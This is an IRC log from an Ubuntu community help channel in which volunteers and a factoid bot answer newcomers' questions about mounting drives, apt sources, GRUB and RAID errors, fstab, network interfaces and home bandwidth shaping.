[01:22] <adaptr> foutrelis: in your xorg.conf - it's a module
[01:23] <foutrelis> ok let me check
[01:23] <adaptr> Akuma_: did not work is not very clear
[01:23] <mnoir> Akuma_: forget about direction or who is client - to see win shares over the net, samba is usually the tool of choice
[01:23] <jedrick> need help im trying to update my source list but i got this error.. "Failed to fetch http://archive.ubuntu.com/ubuntu/dists/dapper/main/binary-i386/Packages.gz  Sub-process gzip returned an error code (1)" "W: Couldn't stat source package list http://archive.ubuntu.com dapper/main Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_dapper_main_binary-i386_Packages) - stat (2 No such file or directory)" wy is that?
[01:23] <foutrelis> adaptr: It is
[01:23] <adaptr> (which is a euphemism for "totally not clear")
[01:23] <xopher_> clayg, why not just use eg. winscp to access your box from xp via ssh? (scp) Its easy, fast, secure.
[01:23] <foutrelis> adaptr: Shall I comment is out?
[01:23] <adaptr> foutrelis: well, DDC gets its settings wrong about half the time - and 9 times out of ten for LCDs
[01:24] <Akuma_> adaptr: "can't display smb:///mshome the location is not a folder"
[01:24] <foutrelis> adaptr: :)
[01:24] <jedrick> anyone?
[01:24] <foutrelis> adaptr: So I disable it and restart X?
[01:24] <shr3ya5> can anyone tell me how i can set my resolution to 1152x864?
[01:24] <shr3ya5> its not being listed
[01:24] <adaptr> foutrelis: my screens refuse to go above 85 when I enable DDC - just switching it off and restarting X with the proper frequencies inserted lets me choose from 50 to 120 Hz - as it should
[01:24] <mnoir> jedrick: if the link is correct, this sometimes happens due to business
[01:24] <foutrelis> adaptr: 120 Hz.. wow :P
[01:24] <dougsko> Bruco16: something like 'mkfs -t msdos /dev/sde'
[01:24] <Akuma_> mnoir: and all it needs to know is in /etc/samba/smb.conf?
[01:25] <jedrick> mnoir, what you mean?
[01:25] <music__> Hansel what do i need to do?
[01:25] <jedrick> im just new to linux :)
[01:25] <adaptr> foutrelis: yes, some old Compaq 19" flatscreens, pretty nice screens for 50 bucks each :)
[01:25] <Hansel> music_ - other than read?
[01:25] <music__> i dunno
[01:25] <foutrelis> adaptr: yea :)
[01:25] <foutrelis> brb
[01:25] <mnoir> jedrick: i mean that the error you got can be due to a busy server - does it happen all the time?
[01:25] <adaptr> Akuma_: you do not need to configure samba for client functionality
[01:26] <adaptr> Akuma_: you can try it manually to see if the libraries are all present
[01:26] <Akuma_> adaptr: try it manually?
[01:26] <mnoir> Akuma_: afaik the total smb config is in that one file, yes
[01:26] <jedrick> mnoir, nope.. i just got my ubuntu connect to internet, so this is my first time.. is this normal? can i do the update again later?
[01:26] <adaptr> Akuma_: smbmount //servername/share /mnt/<something>l remember to create the <something> directory first
[01:26] <Mba7eth> hi everyone
[01:26] <Palabuntu_> key
[01:27] <adaptr> mnoir: smb.conf/samba server has nothing whatsoever to do with the *in-kernel* client support for SMB filesystems
[01:27] <Mba7eth> guys how can i player 2 mp3 at the same time using diffrent applications
[01:27] <Mba7eth> ?
[01:27] <Camden> how would i get started if i want to get involved in ubuntu development?
[01:27] <adaptr> !dev
[01:27] <ubotu> Sorry, I don't know anything about dev - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:27] <mnoir> adaptr: sorry - I wasn't paying attention :)
[01:27] <adaptr> !development
[01:27] <ubotu> Sorry, I don't know anything about development - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:27] <adaptr> sjeesh
[01:28] <Camden> !development
[01:28] <ubotu> Sorry, I don't know anything about development - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:28] <adaptr> well, there' sure to be a #ubuntu-dev
[01:28] <Camden> what do you mean by that?
[01:28] <hakrzcode> !essential_build
[01:28] <ubotu> Sorry, I don't know anything about essential_build - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:28] <GigaClon> !build_essential
[01:28] <hangfire> camden- http://www.ubuntu.com/developers
[01:28] <Camden> the ! is to ask bots questions?
[01:28] <ubotu> Sorry, I don't know anything about build_essential - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:28] <GigaClon> !build essential
[01:28] <jedrick> mnoir, nope.. i just got my ubuntu connect to internet, so this is my first time.. is this normal? can i do the update again later?
[01:28] <ubotu> Sorry, I don't know anything about build essential - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:29] <hakrzcode> !build-essential | Camden
[01:29] <ubotu> Camden: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[01:29] <mnoir> jedrick: yes - I have not seen them busy for a very long time - do check that the uri is correct though
[01:29] <GigaClon> Camden, check ubuntu.com for details on how to help
[01:29] <tommy1987> is there a way in Linux to search for all connected hosts on a local network, or all hosts it can see on the LAN?
[01:29] <Camden> that's funny .... i can't click on links in XChat
[01:29] <Camden> nothing happens
[01:29] <mnoir> jedrick: uuh - normal no, happens sometimes yes
[01:30] <hakrzcode> Camden, no clicking is for your safety. If you want to follow links, then right click, and open in browser.
[01:30] <rkv> wats the root pass on a ubuntu livecd
[01:30] <Camden> i tried that too
[01:30] <Camden> maybe something in ff is not set right
[01:30] <adaptr> rkv: there is none - you are root already
[01:30] <mnoir> tommy1987: places -> network servers ?
[01:31] <hakrzcode> Camden, it opens Galeon in mine.
[01:31] <hakrzcode> I believe that it is hard coded. Because it annoys the hell out of me, since I use firefox.
[01:31] <rkv> adaptr: when i try mount \dev\sda  \mnt\hd1 its says u "mount: only root can do that"
[01:31] <foutrelis> adaptr: still no luck :'(
[01:31] <adaptr> rkv: then use sudo
[01:31] <Camden> xchat doesn't seem to  have a setting for that
[01:32] <hakrzcode> rkv, when in doubt, sudo..
[01:32] <Camden> anyway... checking the page
[01:32] <gyaresu> rkv 'sudo mount /dev/sda1 /mnt/somewhere -o uid=1000,gid=1000'
[01:32] <gyaresu> rkv that'll make it writeable by your user
[01:32] <rkv> k
[01:32] <oidia> im getting "Failed to setup dm-crypt key mapping." when "cryptsetup luksFormat /dev/hda6"
[01:33] <mnoir> tommy1987: actually network servers does not show you everybody on the lan
[01:33] <Camden> hmm apparently there is an #ubuntu-devel
[01:34] <Vigo__> cmnd = Wprld Ping oir somesuch argument would be fun!
[01:35] <Scabdates> I'm having some trouble with ubuntu (the newest release)
[01:36] <Vigo__> Scab-dates: Wich version?
[01:36] <rkv> when iswitched by system to be in RAID 0 mode whenever i try to install windows(which i'm tryin to install first) i keep getting a Grub loading error 21 and it doesnt even boot the windows cd only this ubuntu livecd works any idea why?
[01:36] <Scabdates> 6.10
[01:36] <mnoir> tommy1987: the command line tool is nmap - it is complex - man nmap to learn how to use
[01:36] <Vigo__> Scabdates: Server?
[01:36] <gyaresu> rkv that's a problem with the Windows CD
[01:37] <Scabdates> Home
[01:37] <Vigo__> Scabdates: What is the error?
[01:37] <Camden> hmmm rosetta sounds interesting
[01:37] <Camden> i hadn't heard of that
[01:37] <gyaresu> rkv, The grub boot is in the first 512Kb of the HDD so that means you've passed by the BIOS's loading of a boot sector on the CD.
[01:37] <Camden> that's a cool concept... someone could do translation without any programming
[01:38] <Scabdates> I'm booting to disk with Ubuntu and I'm not sure if I want to dual boot it yet, I'm just testing it out and i clicked start/install and it said starting and then it said uncompressing linux file, and then it when to the unbuntu startup screen and began loading nescessary drivers
[01:38] <oidia> anyone use cryptsetup?
[01:39] <rkv> gyaresu: so my windows cd is faulty? 'cos when i turn off my raid controller i get grub error 17
[01:39] <mataks_> mnoir, yes it is correct, i copied it from their site
[01:39] <Vigo__> Scabdates:  Have you removed the CD and re-booted?
[01:39] <Flannel> rkv: why would a grub error have anything to do with a windows CD?
[01:39] <Jedrick-> mnoir, yes it is correct, i copied it from their site
[01:39] <Scabdates> at this point it stops and goes black to a black screen with grey text saying the following error with a few variations: [17179716.84800]  buffer i/o error on device hdc logical block 1
[01:39] <Scabdates> yes i have
[01:39] <gyaresu> rkv the XP cd should just work so either that or the optical drive is stuffed.
[01:40] <Flannel> rkv: make sure the CD is set to boot before the HD in your BIOS
[01:40] <Vigo__> Scabdates: I am looking for that one now.....
[01:40] <gyaresu> rkv the raid/grub problem is probably normal. Do you already have drives in RAID that you installed grub/linux on?
[01:41] <Scabdates> OK thank you
[01:41] <rkv> Flannel: gyaresu : well this ubuntu livecd worked perfectly fine everytime but when i insert the windows XP cd it doesnt goto the setup or anything just directly to grub error
[01:41] <gyaresu> Flannel, It boots his ubuntu cd fine.
[01:41] <tommy1987> using nmap what is the command to simply view the IP address of connected hosts?
[01:41] <Jedrick-> where can i find the source list to upgrade to dapper drake?
[01:41] <Flannel> rkv: ah, in that case, yeah.  the windows CD has problems
[01:41] <Hansel> tommy1987,  - you mean netstat?
[01:41] <vmfight> ciaoooooooooooo
[01:41] <gyaresu> rkv So xp-cd or drive is stuffed.
[01:41] <tommy1987> can i do it with netstat?
[01:41] <gyaresu> rkv, burnt xp cd?
[01:41] <Hansel> netstat -an I believe
[01:41] <rkv> gyaresu: no i realized that i have 2 identical drives so i thought i'd try RAID so i enabled it
[01:42] <rkv> gyaresu: yea i have my own product just lazy to download updates
[01:42] <gyaresu> rkv do you have linux on one of the drives already?
[01:42] <vmfight> italiani manko uno?
[01:42] <rkv> gyaresu:  no used too though
[01:42] <gyaresu> rkv so the grub is just from the old install?
[01:43] <rkv> gyaresu:  prolly
[01:43] <ciscosurfer> Hello, fellow Ubuntonians!
[01:43] <vmfight> ciao ciscosurfer
[01:43] <swx> Hi
[01:43] <rkv> gyaresu:  'cos i've never seen that erorr till i turned on RAID
[01:43] <Hansel> ciscosurfer,  - we prefer to be called Ununtuites
[01:43] <thisheregiraffe> ubuntonians..  "nerds" for short 8)
[01:43] <shwag> after doing   sudo apt-get remove postfix , how do I get rid of all the config files it made ?
[01:44] <ciscosurfer> Hansel: hmm...okay :-)
[01:44] <rkv> gyaresu:  i'm using GParted now to format both my harddrives to fat32
[01:44] <gyaresu> rkv so get a working xp disc >> install xp on the raid'd drives >> install ubuntu after (it'll find xp just fine and include it in grub as an option)
[01:44] <gyaresu> rkv don't need to.
[01:44] <rkv> oh k
[01:44] <Glasseye> I have a question anybody can help?
[01:44] <Hansel> see... even mnoir deviates from the norm and has his own title.  It's ethnocentric to assume we are all the same type of ubuntu users  :P
[01:44] <Hansel> Glasseye,  - only if you ask the question.
[01:44] <ciscosurfer> Glasseye: shoot...
[01:44] <phixnay> hey, where can I get information on improving edgy's boot time?
[01:45] <gyaresu> rkv You can just fdisk the drives though, might save any stupid grub stuff after installing xp.
[01:45] <swx> Im installing gnome-desktop-environnement with Synaptic on a Edgy version that does not already has gnome installed on it, what should be the next step?
[01:45] <madcheeze> phixnay: improve it? mine boots in like 15 seconds...
[01:45] <Crankymonky> In OpenOffice equation editor is there a way to make a new line so as to show a problem being worked out?
[01:45] <paradoxx> !java
[01:45] <ubotu> To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository
[01:45] <phixnay> mine takes a minute or so
[01:45] <dougsko> phixnay: heres a link i found about breezy, but the technique will be the same: ubuntuforums.org/showthread.php?t=80423
[01:45] <Hansel> phixnay - you can get LinuxBIOS... google it.  Supposedly you can boot Linux in about 5 seconds.
[01:45] <Glasseye> I downloaded a file that is supposed by a driver for starfighter real 3d graphics card, however everytime I double click it .rpm file it says archive type not supported.
[01:45] <madcheeze> phixnay: are you booting to kde?
[01:45] <ciscosurfer> phixnay: install bootchart and report back (unless you already know what you boot time is...)
[01:45] <gyaresu> rkv or 'dd' the first 512Kb of the drive will nuke grub (but anyway that isn't necessary)
[01:46] <madcheeze> phixnay: or what window manager are you using?
[01:46] <phixnay> GNOME, so is that nautilus?
[01:46] <phixnay> I'll get bootmanager
[01:46] <madcheeze> phixnay: if you have a huge image on your desktop that will slow it down too..
[01:46] <nethelp> Is there a way to use a ubuntu powered computer with one nic as a router?
[01:46] <madcheeze> phixnay: my notebook is a core solo with a gig of ram and a 80 gig drive... it does ok...
[01:46] <rkv> gyaresu: how do u 'dd' tje first 512 kb?
[01:47] <gyaresu> Glasseye, I don't know if this helps but 'alien' is the program for installing rpm's on debian
[01:47] <phixnay> it slows down the most after I choose it from grub, and at the splash screen
[01:47] <ciscosurfer> Hansel: are you using LinuxBIOS?
[01:47] <dougsko> nethelp: almost by definition, a route's going to need two nics
[01:47] <Glasseye> I'm using ubuntu, so I need a program called Alien?
[01:47] <Hansel> ciscosurfer - nah... my motherboard isn't supported
[01:47] <ciscosurfer> Hansel: ah
[01:47] <Hansel> My friend did it to his and it boots almost instantly.
[01:48] <ciscosurfer> Hansel: sort of like the purported "instant-on" blah blah blah
[01:48] <ciscosurfer> ?
[01:48] <Hansel> yup...
[01:48] <nethelp> dougsko: In that case, is there any way I can run a connection between two computers I have using a router and just make one computer the one that they both connect to the internet through? Because I seriously need a way to control my net traffic.
[01:48] <ciscosurfer> interesting
[01:48] <dougsko> Glasseye: yeah, 'alien <foo.rpm>' will leave you with foo.deb, which you can install with 'dpkg -i foo.deb'
[01:48] <madcheeze> phixnay: also depends on what you have loading at boot
[01:48] <mzanfardino> does anyone have a suggestion for a more robust solution for copying files from an SMB share to my local machine than cp?  The file sizes are 2GB and cp simply dies, taking all networking with it...
[01:48] <Vigo> I have to lay down
[01:48] <Hansel> nethelp - I say you invest in a $50 router... easier than configuring nics and using crossover cables and whatnot.
[01:48] <Jedrick-> where can i find the source list to upgrade to dapper drake?
[01:49] <petruz> Buongiorno a tutti
[01:49] <Hansel> Jedrick - the main ubuntu site has all the info and things to look out for.
[01:49] <thisheregiraffe> Jedrick-: check out the file /etc/apt/sources.list
[01:49] <madcheeze> mzanfardino: 2 gigs is alot.. can you gzip it and then cp it?
[01:49] <phixnay> I'm getting bootchart - I think probably what slows it down most are the PCI errors I get
[01:49] <dougsko> nethelp: yes and no. you can sorta hook things up like you said, but not the way youre thinking. if you want to build a route, you really need two nics
[01:49] <dougsko> at least
[01:49] <thisheregiraffe> Jedrick-: you might want to read a how-to on the wiki to make sure you go through the upgrade correctly, though
[01:49] <nethelp> Well I have a router... but it doesn't control worth a dang. It's a linksys etherfast cable router.. my other user on the network is RAPING my internet speed with his torrents, and the router can't do much to control it.
[01:49] <petruz> buonanotte a tutti
[01:49] <mnoir> !it | petruz
[01:49] <ubotu> petruz: Vai su #ubuntu-it o su #kubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie!
[01:49] <Scabdates> Can I get some help for my ubuntu error?
[01:50] <Jedrick-> ok thnx.
[01:50] <Hansel> nethelp - if you REALLY want good control you'll need to go Cisco or Sonicwall...
[01:50] <thisheregiraffe> Scabdates: what's yer error?  i'm sure somebody can help
[01:50] <mzanfardino> madcheeze: maybe.  they are vmware files.. I'm trying to copy a vmware directory from our backup server (Windows) to my local box...
[01:50] <NkZ> Good night guys.
[01:50] <madcheeze> mzanfardino: try to gzip them or rar them then cp that file
[01:50] <Hansel> NkZ - you joined to wish us goodnight?  Talk about dedication!
[01:50] <Scabdates> Well, i just got ubuntu as i am interested in dual booting with windows 2000, but before i do that i wanted to test it
[01:51] <mzanfardino> madcheeze: running zip on one file now....
[01:51] <nethelp> Eeek.. those are super expensive. But without being able to shut down all these stupid torrents.. I'm going to lose my speed everytime.
[01:51] <riotkittie> Hansel: heh.
[01:51] <Unshift> anyone know how to install opera in 64bit edgy?
[01:51] <Scabdates> so i downloadede the iso and burnt it to a disk, and i booted from it, it brought me to the ubuntu startup menu
[01:51] <mzanfardino> madcheeze: in the mean time, no other suggestions?  any other cp program that works better with an SMB share?
[01:51] <Hansel> Unshift - add the 64bit repository to your sources.list then sudo apt-get install it :)
[01:51] <dougsko> nethelp: i had the same problem. i fixed it with a 90mhz p3, 2 nics and openbsd's pf (for routing and bandwidth shaping). i used my old netgear wireless router then as just a wireless AP.
[01:51] <mnoir> nethelp: with a cheap old pc and IPCOP you can throttle connections
[01:51] <oidia> i cant get cryptsetup luksFormat /dev/hda6 to work,anny ideas?
[01:51] <madcheeze> mzanfardino: is it possible to burn the image to a dvd then move them?
[01:51] <NkZ> I have a question here: I just installed Ubuntu, and Beryl (Using the Comunity Doc at UbuntuForum.org) after I did, I got one message about "Updating packages" Would it be wise to update those packages?
[01:51] <phixnay> also do you know why synaptic downloads things at around 3000 B/s, but I've done a speed test that rated it 180 k/s
[01:51] <Scabdates> i click start/install it tells me its starting and then it goes to a menu and says uncompressing linux kernel and then it goes the the startup screen
[01:52] <mzanfardino> madcheeze: nope. server doesn't have a burner...
[01:52] <Scabdates> it appears to be loading and i waited as the drivers loadewd
[01:52] <dougsko> nethelp: i really cant think of a way for you to do this without 2+ nics. a router connects two networks together, and so you just need 2 cards
[01:52] <adaptr> phixnay: choose better mirrors :)
[01:52] <riotkittie> Scabdates: did it then lock up completely?
[01:52] <nethelp> So I could fire up an old POS computer, turn it into a basic router, and be able to calm down the speeds on his end? Like set it to where he could just use say internet and IRC?
[01:52] <Hansel> nethelp - you definitely need 2 routers... 1 to connect to internet and 1 to connect to other PC.
[01:52] <mzanfardino> madcheeze: how about this: any suggestions on how to reinitialize my network when the cp fails?  I don't know exactly what the problem is, save that all network calls hang...
[01:52] <petruz> good night allora :-))))))
[01:52] <mnoir> nethelp: that is what ipcop is designed for
[01:52] <phixnay> adaptr: ah, which are you using? I'm on the defaults
[01:52] <Hansel> nethelp - www.practicallynetworked.com has some basic info about designing home networks.
[01:52] <guiller> i need help instaled compiz is on ... but Switch desktops on cube = Ctrl + Alt + Left/Right Arrow is red and green... :(
[01:53] <Scabdates> than it all of the sudden goes to the black screen with grey text saying the following several times (with variations) [17179716.84800]  buffer i/o error on device hdc logical block 1
[01:53] <riotkittie> he needs three routers. 1 to connect to the internet, 1 to connect to the other pc, and one to uhhh, give to me :x
[01:53] <vmfight> italia
[01:53] <madcheeze> mzanfardino: im not sure on that one...
[01:53] <vmfight> ce un italiano????
[01:53] <dougsko> nethelp: yes. you can even make it so that torrents will dl at full speed, until someone else starts doing something. then itll choke it back accordingly
[01:53] <mnoir> !it | vmfight
[01:53] <ubotu> vmfight: Vai su #ubuntu-it o su #kubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie!
[01:53] <Hansel> riotkittie,  good point
[01:53] <vmfight> thanks
[01:54] <NkZ> I have a question here: I just installed Ubuntu, and Beryl (Using the Comunity Doc at UbuntuForum.org) after I did, I got one message about "Updating packages" Would it be wise to update those packages? They are "libwnck-common, libwnck18, linux-restricted-modules-common, nvidia-glx."
[01:54] <nethelp> Well I'm a hypotcrit, so I'd like to still have the ability to do my torrents.. .but his have to stop. He can't just download one.. it's like 75 at once... and on a 5mb connection.. it chokes us down.
[01:54] <PMantis_> Hmmm, my /etc/network/if-up.d/ script is not running in Edgy on my wireless adapter
[01:54] <madcheeze> !cp
[01:54] <ubotu> Sorry, I don't know anything about cp - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:54] <adaptr> phixnay: use whatever is closest to you, geographically
[01:54] <mnoir> nethelp: ipcop is a special linuk dist that does firewalling, routing, etc
[01:54] <dougsko> riotkittie: wait...what? one router can route inf networks. you just need a card for each one
[01:54] <adaptr> !mirrors | phixnay
[01:54] <ubotu> phixnay: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Archive
[01:54] <thisheregiraffe> NkZ: i've never run into any troubles after having updated my system
[01:54] <Camden> world domination 201
[01:54] <Hansel> NkZ - it never hurts to upgrade.  :)
[01:54] <kinections> what repository should i be using to install apache 1.x ?
[01:54] <phixnay> i don't think those are the right links :)
[01:54] <NkZ> Thanks. :-)
[01:54] <kinections> on ubuntu server dapper drake?
[01:54] <dougsko> riotkittie: in this case, one for the intertubes, and one for his home net
[01:54] <adaptr> phixnay: and i do
[01:54] <thisheregiraffe> NkZ: but if you're still uncertain, you could poke around on ubuntuforums.org or on the wiki
[01:54] <phixnay> oh there it is
[01:55] <thisheregiraffe> to see if you can find any bugs that have been reported
[01:55] <Hansel> NkZ - it's not 100% necessary but usually they fix bugs or security issues.  If you are running 100% okay it will be fine not to upgrade.
[01:55] <svfusion> someone a while back gave me a link To install ATI drivers , i lost the link I think it was on ubuntus site can soneone tell me the linK./
[01:55] <riotkittie> dougsko: and one for me. because i hearby declare it Buy Me a Router Day.
[01:55] <Hansel> !ati
[01:55] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[01:55] <adaptr> kinections: the main repo has apache
[01:55] <madcheeze> svfusion: if you just google fglrx you will get it
[01:55] <nethelp> So old computer with two nics, IPCOP, and I've got myself a router?
[01:55] <kinections> adaptr: it has apache2, i need apache1
[01:55] <svfusion> i have
[01:55] <Hansel> nethelp - indeed
[01:55] <NkZ> Last question: How do I set up my HDB to be mounted at startup? (It's already formated and good to go)
[01:55] <svfusion> but it isn't the one they gave me
[01:55] <adaptr> kinections: apt-get install apache should get you 1.x
[01:55] <mnoir> nethelp: yes
[01:55] <phixnay> adaptr: where do I change the mirror? sources.list?
[01:55] <nethelp> Okay, thanks guys:)
[01:55] <Hansel> nethelp - well, technically you need some rulesets to have a "router" but generally speaking...
[01:55] <svfusion> it was on how to install the offical one
[01:56] <Jedrick-> can someone help me. im just new to linux.. how to upgrade my breezy badger to dapper drake?
[01:56] <adaptr> phixnay: system -> admin -> software sources is a graphical interface, but yes - source.lst
[01:56] <Hansel> !upgrade
[01:56] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[01:56] <tapas> i have "auto lo eth0 eth1" but still eth1 isn't brought up at boot
[01:56] <Hansel> Jedrick-,  read that link.
[01:56] <Scabdates> any ideas?
[01:56] <phixnay> ah, got it
[01:56] <tapas> [in /etc/network/interfaces] 
[01:56] <Jedrick-> ok thnx
[01:56] <kinections> adaptr: i do not seem to be able to find it
[01:56] <kinections> adaptr: "Package apache has no installation candidate"
[01:56] <dougsko> riotkittie: goodwill, and the classifieds are good places to pick up a cheap box that most people would deem worthless
[01:56] <kinections> adaptr: this is a fresh install of 6.06 server edition
[01:56] <Hansel> Scabdates, hdc is a harddrive... not sure why but apparently one of your drives is causing problems when its trying to mount.
[01:57] <svfusion> what is the best way to install the ati driver
[01:57] <Hansel> Scabdates - do you have more than 1 hdd?
[01:57] <Hansel> svfusion - read the webpage instructions...
[01:57] <svfusion> I have
[01:57] <Hansel> svfusion - and what do they recommend?
[01:57] <riotkittie> dougsko: we dont have goodwills up here, and the people who are selling computers... are asking stupid prices
[01:57] <Hansel> insmod?
[01:57] <Scabdates> nope
[01:57] <Scabdates> only 1
[01:57] <mnoir> tapas - can you pastebin your interfaces file?
[01:57] <adaptr> kinections: sudo apt-get install apache
[01:57] <kinections> adaptr: that's what i did
[01:57] <tapas> mnoir: sure
[01:57] <kinections> adaptr: it couldn't find apache
[01:58] <Hansel> Scabdates - couldn't tell you... sorry.  :(  You can google for that exact error msg and see if there is a workaround.
[01:58] <Hansel> Off the top of my head I'm pulling a blank.
[01:58] <dougsko> riotkittie: bummer :/
[01:58] <phixnay> mine is called sources.list
[01:58] <NkZ> Last question: How do I set up my HDB to be mounted at startup?  So I don't have to do " sudo mount /dev/hdb /storage " Every time I load the OC?(It's already formated and good to go)
[01:58] <mnoir> tapas: also can you bring it up manually?
[01:58] <madcheeze> mzanfardino: did you get it?
[01:58] <tapas> mnoir: via ifconfig eth1 up
[01:58] <tapas> yes
[01:58] <kinections> adaptr: an apt-cache search apache    only shows apache2 stuff
[01:58] <riotkittie> but i dont really need another computer. i just need to beat the case off of the box i have in the closet so i can install a card
[01:58] <Hansel> NkZ - you can add it to a rc.local startup script or /etc/fstab I believe.
[01:58] <mnoir> tapas: last - is it wireless?
[01:58] <thisheregiraffe> NkZ: i believe you'll need to add an entry for hdb in your /etc/fstab file
[01:59] <tapas> mnoir: yes
[01:59] <mzanfardino> madcheeze: still zipping the source file... it's a slow process...
[01:59] <adaptr> kinections: hmmm... try packages.ubuntu.org
[01:59] <tapas> mnoir: http://rafb.net/p/ysqvAT31.html
[01:59] <dougsko> riotkittie: that sounds like a perfect afternoon :)
[01:59] <mnoir> tapas: ooh - sorry - wireless is a challenge i am not up to....
[01:59] <kinections> adaptr: k, thanks
[01:59] <madcheeze> mzanfardino: holy cow, what kind of server is it? a personal one or a up to date one?
[01:59] <NkZ> Hanse/Thisredgiraffe: What's the line for that entry? I'm kinda newb. I've been to that file using sudo gedit but I didn't know what to add.
[01:59] <Hansel> NkZ - man fstab... basically just immitate another entry.  :)
[01:59] <tapas> mnoir: ok, i also just see now, my ethernet device isn't brought up eiter
[02:00] <kinections> adaptr: is that .com?
[02:00] <adaptr> kinections: it's in universe....
[02:00] <mzanfardino> madcheeze: I killed it once fearing it's crashed... so I've only just restarted...
[02:00] <mnoir> tapas: messages in your logs?
[02:00] <Hansel> NkZ - you define the device (/dev/hdb) give it a mount point  /mydrive  and decide what filesystem type it is...
[02:00] <adaptr> kinections: enable universe, then apt-get install apache
[02:00] <tapas> mnoir: lemme check
[02:00] <kinections> adaptr: so i'll need to uncomment that
[02:00] <kinections> adaptr: k, thanks
[02:00] <NkZ> Hanse/Thisredgiraffe: Thanks :-) You really own. :-)
[02:00] <madcheeze> mzanfardino: haha kk.
[02:00] <mnoir> tapas: also look at output of dmesg cmd to see if hw is being recognized
[02:00] <Hansel> NkZ - you're welcome... we know.  :P
[02:00] <Scabdates> apparently some cd drives might not work with it ill try another one and get back to you guys
[02:01] <tapas> mnoir: i have no problems using the devices manually
[02:01] <Unshift> anyone know what repository i have to add to install opera in 64 bit edgy?
[02:01] <mnoir> tapas: sorry - i forgot....
[02:01] <tapas> mnoir: checking logs [dunno whch one so i check them all] 
[02:01] <Hansel> Unshift - google probably knows.
[02:01] <RichW^> i have xgl and compiz...window resizing is slow... other fx are fine.
[02:01] <Falstius> tapas: have you tried running the /etc/init.d/networking script in the terminal?
[02:01] <mnoir> tapas: start with messages
[02:01] <RichW^> any ideas?
[02:02] <phixnay> ok so in sources.list everywhere I see a website I replace it with the new mirror?
[02:02] <Hansel> Unshift - my googling revealed the following... deb http://archive.canonical.com/ubuntu edgy-commercial main
[02:02] <tapas> Falstius: hah very good: Ignoring unknown interface eth0=eth0.
[02:02] <phixnay> except the audacious repo
[02:02] <mnoir> tapas: Falstius suggestion is very good - you may see some errors that way
[02:02] <tapas> and the same for eth1
[02:02] <tapas> hmm
[02:02] <DRMacIver> Hm. Anyway I can install java 6 in a way that synaptic will recognise?
[02:03] <Hansel> DRMaclver - assuming you have the repository setup and have done an apt-get update you just click it and choose Apply.  :)
[02:03] <DRMacIver> Hansel: Java 6 isn't available in the repositories yet as far as I can see.
[02:03] <jrib> DRMacIver: java-package?
[02:03] <NkZ> I know I am kind of an annoyance :-P But Would "/dev/hdb  /storage  ext3" do the trick?
[02:03] <hanso> when I run apt-get there is a message about packages not used anymore and that I can remove them using "apt-get autoremove". is that a smart thing to do or?
[02:03] <RichW> i have xgl and compiz...window resizing is slow... other fx are fine.
[02:03] <jrib> DRMacIver: may or may not work :)
[02:03] <kinections> adaptr: alright, it's installing thanks a lot
[02:03] <Hansel> hanso - its safe but not really necessary unless you are low on space.  :)
[02:04] <Hansel> hanso - it's not hurting anything by having them installed...
[02:04] <mzanfardino> madcheeze: I've abandoned the zip (failed for some reason) and am now using smbclient... trying to figure out how to copy with it still...
[02:04] <phobiac> Any ideas?
[02:04] <thisheregiraffe> NkZ: you'll need to create /storage if it doesn't exist (mkdir command)
[02:04] <Hansel> think of it like having a few extra dll's sitting around your Windows box.
[02:04] <DRMacIver> jrib: I'll take a look. Thanks.
[02:04] <NkZ> thisredgiraffe - That's Done. :-) Thanks a lot again!
[02:04] <phobiac> Ark won't install .deb files. I get the error, "the utility ar is not in your PATH."
[02:04] <hanso> Hansel: but it's safe? nothing important will be removed?
[02:04] <NkZ> Will test that. He he he he
[02:04] <thisheregiraffe> NkZ: i think nautilus shows you the drives in your system that are mounted in the /media directory (i could be wrong though) so you might consider /media/storage
[02:05] <phobiac> Any ideas on what I can do?
[02:05] <Hansel> hanso - correct... and if it breaks a dependency it would tell you when you tried to autoremove  :)
[02:05] <Hansel> hanso - at the very worst you would have to reinstall it...
[02:05] <tapas> Falstius: ok, i need to specify them in the iface list, too
[02:05] <NkZ> thisredgiraffe Will do!
[02:06] <Hansel> .deb pkg mgmt just tries to be efficient and if it notices you have a library/pkg installed that NOTHING is using it says "hey.. you have this extra thing sitting around that isn't being used... you want me to clean it up or do you care to have a little bit of clutter?"
[02:06] <jamesb2147> someone wanna help me install ndiswrapper 1.34?
[02:06] <Hansel> !wireless
[02:06] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[02:06] <Hansel> jamesb2147, read up  :)
[02:06] <DRMacIver> jrib: Doesn't appear to work.
[02:06] <jrib> DRMacIver: k
[02:06] <hanso> Hansel: it will tell before I autoremove if any dependencys break?
[02:06] <Hansel> hanso - correctamundo.
[02:06] <Flannel> hanso: it won't autoremove things that other things depend on, that's the point of autoremove
[02:07] <NkZ> jamesb2147 Could try ndiswrapper utils-1.8 that comes on the Ubuntu CD too, right? (Easier to add using synaptic)
[02:07] <Falstius> tapas, I think you need an iface line for each card, like: iface eth1 inet dhcp
[02:07] <Bluedog> Anyone know a linux msn messenger that does /voice clips/?
[02:07] <hanso> Hansel: okey. thank you
[02:08] <Hansel> Bluedog - there is probably a plugin for gaim that will handle it... it's the only IMer I have ever trusted  :P
[02:08] <Bluedog> cool, I will look, thanks
[02:08] <hanso> Flannel: okey. thanx
[02:08] <sara> hello
[02:08] <thisheregiraffe> Bluedog: have you tried amsn?  i think it can do webcam stuff, so maybe it can handle voice too
[02:08] <Bluedog> The version on the repository doesnt have it, didnt want to mess with the newer 0.97 ver right now
